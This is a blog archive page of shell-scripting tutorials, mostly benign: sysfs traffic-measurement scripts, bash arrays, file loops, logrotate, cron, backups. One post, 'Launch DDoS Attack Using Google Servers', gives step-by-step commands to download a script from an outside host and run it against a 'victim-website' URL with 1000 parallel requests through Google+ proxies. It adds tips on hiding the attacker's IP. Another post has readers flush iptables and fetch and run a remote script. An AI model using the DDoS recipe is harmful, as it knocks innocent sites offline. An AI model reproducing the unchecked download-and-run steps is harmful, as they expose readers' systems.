Archive

Articles taggués ‘scripting’

How to measure packets per second or throughput on high speed network interface

17/03/2016 Comments off

throughput networkThere are many traffic monitoring tools available on Linux, which can monitor/classify network traffic, and report real-time traffic statistics in fancy user interfaces. Most of these tools (e.g., ntopng, iftop) are powered by libpcap, which is a packet capture library used to monitor network traffic in user space. Despite their versatility, however, libpcap-based network monitoring tools cannot scale to handle traffic on multi Gigabit rate network interfaces, due to the overhead associated with user-space packet capture.

In this tutorial, I will present simple shell scripts that can monitor network traffic on per-interface basis, without relying on slow libpcap library. These scripts are fast enough to support multi Gigabit rates, but only suitable if you are interested in « aggregate » network statistics on per interface basis.

The secret for the scripts lies in sysfs virtual filesystem which is used by the kernel to export device- or driver-related information to user space. Network interface related statistics are exported via /sys/class/net/<ethX>/statistics.

For example, the statistics on eth0 interface are found in these files:

  • /sys/class/net/eth0/statistics/rx_packets: number of packets received
  • /sys/class/net/eth0/statistics/tx_packets: number of packets transmitted
  • /sys/class/net/eth0/statistics/rx_bytes: number of bytes received
  • /sys/class/net/eth0/statistics/tx_bytes: number of bytes transmitted
  • /sys/class/net/eth0/statistics/rx_dropped: number of packets dropped while received
  • /sys/class/net/eth0/statistics/tx_dropped: number of packets dropped while transmitted

The numbers stored in the files are automatically refreshed in real-time by the kernel. Therefore, you can write scripts that calculate traffic statistics based on these files.

The following are two such scripts (thanks to joemiller). The first script counts the number of packets per second, received (RX) or sent (TX) on an interface, while the latter scripts measures the network bandwidth of incoming (RX) and outgoing (TX) traffic on an interface. For these scripts to work, you do not need to install anything.

Measure Packets per Second on an Interface

#!/bin/bash
INTERVAL="1"  # update interval in seconds
if [ -z "$1" ]; then
        echo
        echo usage: $0 [network-interface]
        echo
        echo e.g. $0 eth0
        echo
        echo shows packets-per-second
        exit
fi

IF=$1

while true
do
        R1=`cat /sys/class/net/$1/statistics/rx_packets`
        T1=`cat /sys/class/net/$1/statistics/tx_packets`
        sleep $INTERVAL
        R2=`cat /sys/class/net/$1/statistics/rx_packets`
        T2=`cat /sys/class/net/$1/statistics/tx_packets`
        TXPPS=`expr $T2 - $T1`
        RXPPS=`expr $R2 - $R1`
        echo "TX $1: $TXPPS pkts/s RX $1: $RXPPS pkts/s"
done
 

Measure Network Bandwidth on an Interface

#!/bin/bash
 
INTERVAL="1" # update interval in seconds
 
if [ -z "$1" ]; then
 echo
 echo usage: $0 [network-interface]
 echo
 echo e.g. $0 eth0
 echo
 exit
fi
 
IF=$1
 
while true
do
 R1=`cat /sys/class/net/$1/statistics/rx_bytes`
 T1=`cat /sys/class/net/$1/statistics/tx_bytes`
 sleep $INTERVAL
 R2=`cat /sys/class/net/$1/statistics/rx_bytes`
 T2=`cat /sys/class/net/$1/statistics/tx_bytes`
 TBPS=`expr $T2 - $T1`
 RBPS=`expr $R2 - $R1`
 TKBPS=`expr $TBPS / 1024`
 RKBPS=`expr $RBPS / 1024`
 echo "TX $1: $TKBPS kB/s RX $1: $RKBPS kB/s"
done
The following screenshot shows the above two scripts in action.

10700906313_cfa3cd1ed7_z

Source: Xmodulo 

Using Bash Arrays with Examples

29/12/2015 Comments off

bash-scripting-32-638Arrays can be a useful tool when coding your bash scripts.  The simplest way that I can define an array is to state that an array is a variable for a multi-instance dataset.

For example, a variable is used when there is a single value from a dataset like the IP Address of a server.  However, an array can be used to store all of the IP Addresses in your server room.

Speaking of IP Addresses and bash arrays, my last article (Detect and Block WordPress Brute Force Login Attacks) includes a script which is an example of how an array can be used in bash scripting.

Because arrays can be so useful in bash scripting, I thought that I would put together the following article detailing ways of Using Bash Arrays with Examples.

Initializing Bash Arrays or Assigning Values to Arrays

For arrays to be useful, we need to be able to assign values to them.  We assign values to an array by listing the array along with its instance number as shown below.  This method will assign each instance of the array one by one.

#!/bin/bash
myarray[0]=Hello
myarray[1]=World,
myarray[3]=Happy
myarray[4]=Friday

# Display all instances of the array
echo ${myarray[*]}

We can see above that in addition to being able to assign the values one by one, we can reference all array instances with an asterisk (*).  Another way to display all instances of the array is to use the following “echo ${myarray[@]}”

We run the script and get:

$ ./arrays.sh
Hello World, Happy Friday

We can also retrieve individual instances of an array by specifying the individual array instance number.  We modify the above script slightly to retrieve a couple of the instances.

#!/bin/bash
myarray[0]=Hello
myarray[1]=World,
myarray[3]=Happy
myarray[4]=Friday

# Display all instances of the array
echo ${myarray[0]} ${myarray[4]}

We run the script again and we get:

$ ./arrays.sh
Hello Friday

Lire la suite…

Launch DDoS Attack Using Google Servers with +DDoS Bash Script

07/12/2015 Comments off

DDoS-Using-Google+-Servers-HackersGarageRecently we wrote about ApacheKiller that freezes Victim Server in seconds. While this new findings by IHTeam express that Google+ Servers can be use for DDoS attack. Lets talk about this ant script, Hey.. but it is worthy.

How DDoS Attack Using Google+ Servers works?

When you post a URL on your Google+ status it fetches URL Summary (It includes Image + Short description) using Google+ Proxy Servers.

Advisory report says;  vulnerable pages are “/_/sharebox/linkpreview/“  and “gadgets/proxy?

So if you send multiple parallel requests with a big number e.g 1000 that can be turn into DDoS attack using Google+ Servers huge bandwidth.

How to use DDoS script to launch a DDoS attack Using Google+ Servers?

Download :
wget static.hackersgarage.com/ddos-using-google-servers.sh.hackersgarage.com

Make it shorter :
mv ddos-using-google-servers.sh.hackersgarage.com ddos.sh

Make it executable :
chmod u+x ddos.sh

Example of Usage :
./ddos.sh http://www.victim-website.com/some-file-url/file-name.mp3 1000

Now, lets look at this example :
It is recommended to find a full path to some big file which is downloadable without requesting for CAPTCHA.

e.g http://www.victim-website.com/some-file-url/file-name.mp3

NOTE : Make sure your workstation is capable to handle this huge number else your workstation will freeze and you will have to force fully restart your own workstation ?

e.g 1000 is very big number.

You will see anonymous source instead of Real Source IP:
See sample apache webserver log below

209.85.228.85 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.88 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.228.90 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.91 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.81 - - [31/Aug/2011:15:34:18 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.228.86 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
74.125.152.84 - - [31/Aug/2011:15:34:21 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
74.125.152.81 - - [31/Aug/2011:15:34:33 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"

You can also access it in browser to remain anonymous using below example URL (replace URL with your own choice) :

https://images1-focus-opensocial.googleusercontent.com/gadgets/proxy?url=http://www.Hackersgarage.com&container=none

Source: hackersgarage.com

Emergency DOS or DDOS stopping script

07/12/2015 Comments off

If you are under a DOS or DDOS attack and running out of your mind or don’t know what to do, use this script to get ride of this panic situation.

DoS or DDoS is an attempt to make a victim website unavailable by creating hundreds to hundreds thousands of established connections that overflow victim resources and makes a website unavailable to the genuine users/visitors.

Short and useful slide that definite this script can be view on slideshare

You can run script to mitigate a low level ddos attack some how while and can stop DOS attack completely. This script is available under GPL license from the author.

How to mitigate DoS or DDoS attack?

Stop or flush other rules for now :

service apf stop
iptables -F
wget http://www.hackersgarage.com/wp-content/uploads/2011/08/antiDDoS.txt
mv antiDDoS.txt antiDDoS.sh
chmod u+x antiDDoS.sh
./antiDDoS.sh

Some other useful commands to analyze the type of attacks :

netstat -antp | grep ESTABLISHED
netstat -antp | grep -i sync
netstat --help

Source: hackersgarage.com

Learning bash scripting for beginners

18/09/2015 Comments off

Bash (Bourne-Again SHell) is a Linux and Unix-like system shell or command language interpreter. It is a default shell on many operating systems including Linux and Apple OS X. Today, we’ll see how to quickly learn scripting.

If you have always used a graphic user interface like KDE or Gnome or MS-Windows or Apple OS X, you are likely to find bash shell confusing. If you spend some time with the bash shell prompt and it will be difficult for you to go back.

learn-bash

Here are a list of tutorials and helpful resources to help you learn bash scripting and bash shell itself.

Lire la suite…

Un petit script de sauvegarde en shell pour vos machines Linux

01/09/2015 Comments off

On ne le répétera jamais assez : faites des sauvegardes ! Et non, ça n’est pas compliqué, oui il existe des dizaines et des dizaines de solutions possibles, donc vous n’avez pas d’excuse pour ne pas le faire.

disque-dur

Si vous utilisez WordPress, vous avez peut-être déjà installé l’extension BackWPUp qui fonctionne à merveille. Si ça n’est pas le cas, ou si vous souhaitez sauvegarder d’autres projets en même temps, je vous propose ce petit script de sauvegarde en shell (pour Ubuntu par exemple) qui vous permettra de :

  • sauvegarder tous les fichiers d’un répertoire ;
  • mettre à jour votre répertoire à partir d’un serveur distant ;
  • créer un dump de vos bases de données, une par une ;
  • mettre à jour vos bases de de données à partir d’un serveur distant ;
  • créer une archive gzippée de votre sauvegarde.

Et tout ça en moins de 50 lignes, commentaires compris.

Ainsi vous n’aurez qu’à planifier un lancement de ce script à la fréquence qui vous convient pour ne pas avoir à vous soucier de vos backups. Lire la suite…

Bash Shell Loop Over Set of Files

02/07/2015 Comments off

bash shell loopBash Shell Loop

How do I run shell loop over set of files stored in a current directory or specified directory?

You can use for loop easily over a set of shell file under bash or any other UNIX shell using wild card character.

Syntax

The general syntax is as follows:

for f in file1 file2 file3 file5
do
 echo "Processing $f"
 # do something on $f
done

You can also use shell variables:

FILES="file1
/path/to/file2
/etc/resolv.conf"
for f in $FILES
do
	echo "Processing $f"
done

You can loop through all files such as *.c, enter:

$ for f in *.c; do echo "Processing $f file.."; done

Lire la suite…

Delete files by creation date

25/05/2015 Comments off

source: http://ubuntuforums.org/showthread.php?t=625132
On the command line, you can use the « find » command to select certain files, and then use the « -exec » switch to cause some other command to be run on those files. So if you use « -exec rm » you will delete the files that are found. So, for example:

Code:
 find -mmin +4 -exec rm {} +

will delete any files in the current directory (and sub-directories) that are older than 4 minutes. This is because the « -mmin +4 » switch causes find to return files older than 4 minutes. There are other options, like « -mtime » that return files based on modified date in days. You can use + or – depending on what kind of behavior you are trying to achieve. For a more complete explanation of all the options, see the manual page:
http://unixhelp.ed.ac.uk/CGI/man-cgi?find

Be careful when using the rm command! It’s usually a good idea to test your command first, before using it. So, for instance, use something like:

Code:
 find -mmin +4 -exec ls {} +

which will just list the files that you are selecting for. If the list looks right, then you can switch the « ls » to « rm » in the command and it will delete the files.

Categories: Système Tags: ,

Configuring Log Rotation of Apache2 and Other Logs

28/01/2014 Comments off

source: lifeonubuntu.com

I went to check out my apache2 logs

ls /var/log/apache2/

and I noticed that they were being automatically rotated (access.log, access.log.1, etc.) and compressed with gzip (access.log.2.gz, etc.). This seems to be the default Ubuntu configuration. I wanted to make find out more, and I found this helpful article about Ubuntu logs, including Apache2 Log info and some basic log rotation info.

After reading through the info, I decided that I wanted to make a few changes. The log rotation happens via the brilliantly named logrotate command. It turns out that logrotate settings kept in 2 places. Lire la suite…

Cron Job Tutorial: Crontab Scheduling Syntax and Script Example

28/01/2014 Comments off

source: Devshed

Crontabs is very useful when doing website maintenance. You can use this feature for the following purposes:

  1. Deleting all files in a certain folder at regular intervals. If you accept user-uploaded files, then eventually it will clog your web hosting server. If you do not regularly delete these files, they will consume a lot of disk space and can slow down your website.
  2. Deleting files of a specific type at regular intervals. You can also choose to delete files of a specific type, instead of deleting all of the files in the folder. If you have PHP, HTML and MP3 files together inside the folder, you can delete only the MP3 files.
  3. Regularly backing up your MySQL database. This is one of the most important webmaster tasks. By using crontabs or the cron job feature, you can create a PHP script that will back up a selected MySQL database, and have it execute automatically executed at a specific, regular interval (e.g monthly, yearly, etc).

This tutorial will focus on creating a cron PHP script application, then configuring your cron hosting feature to execute these scripts automatically. Lire la suite…

Categories: Système Tags: , , ,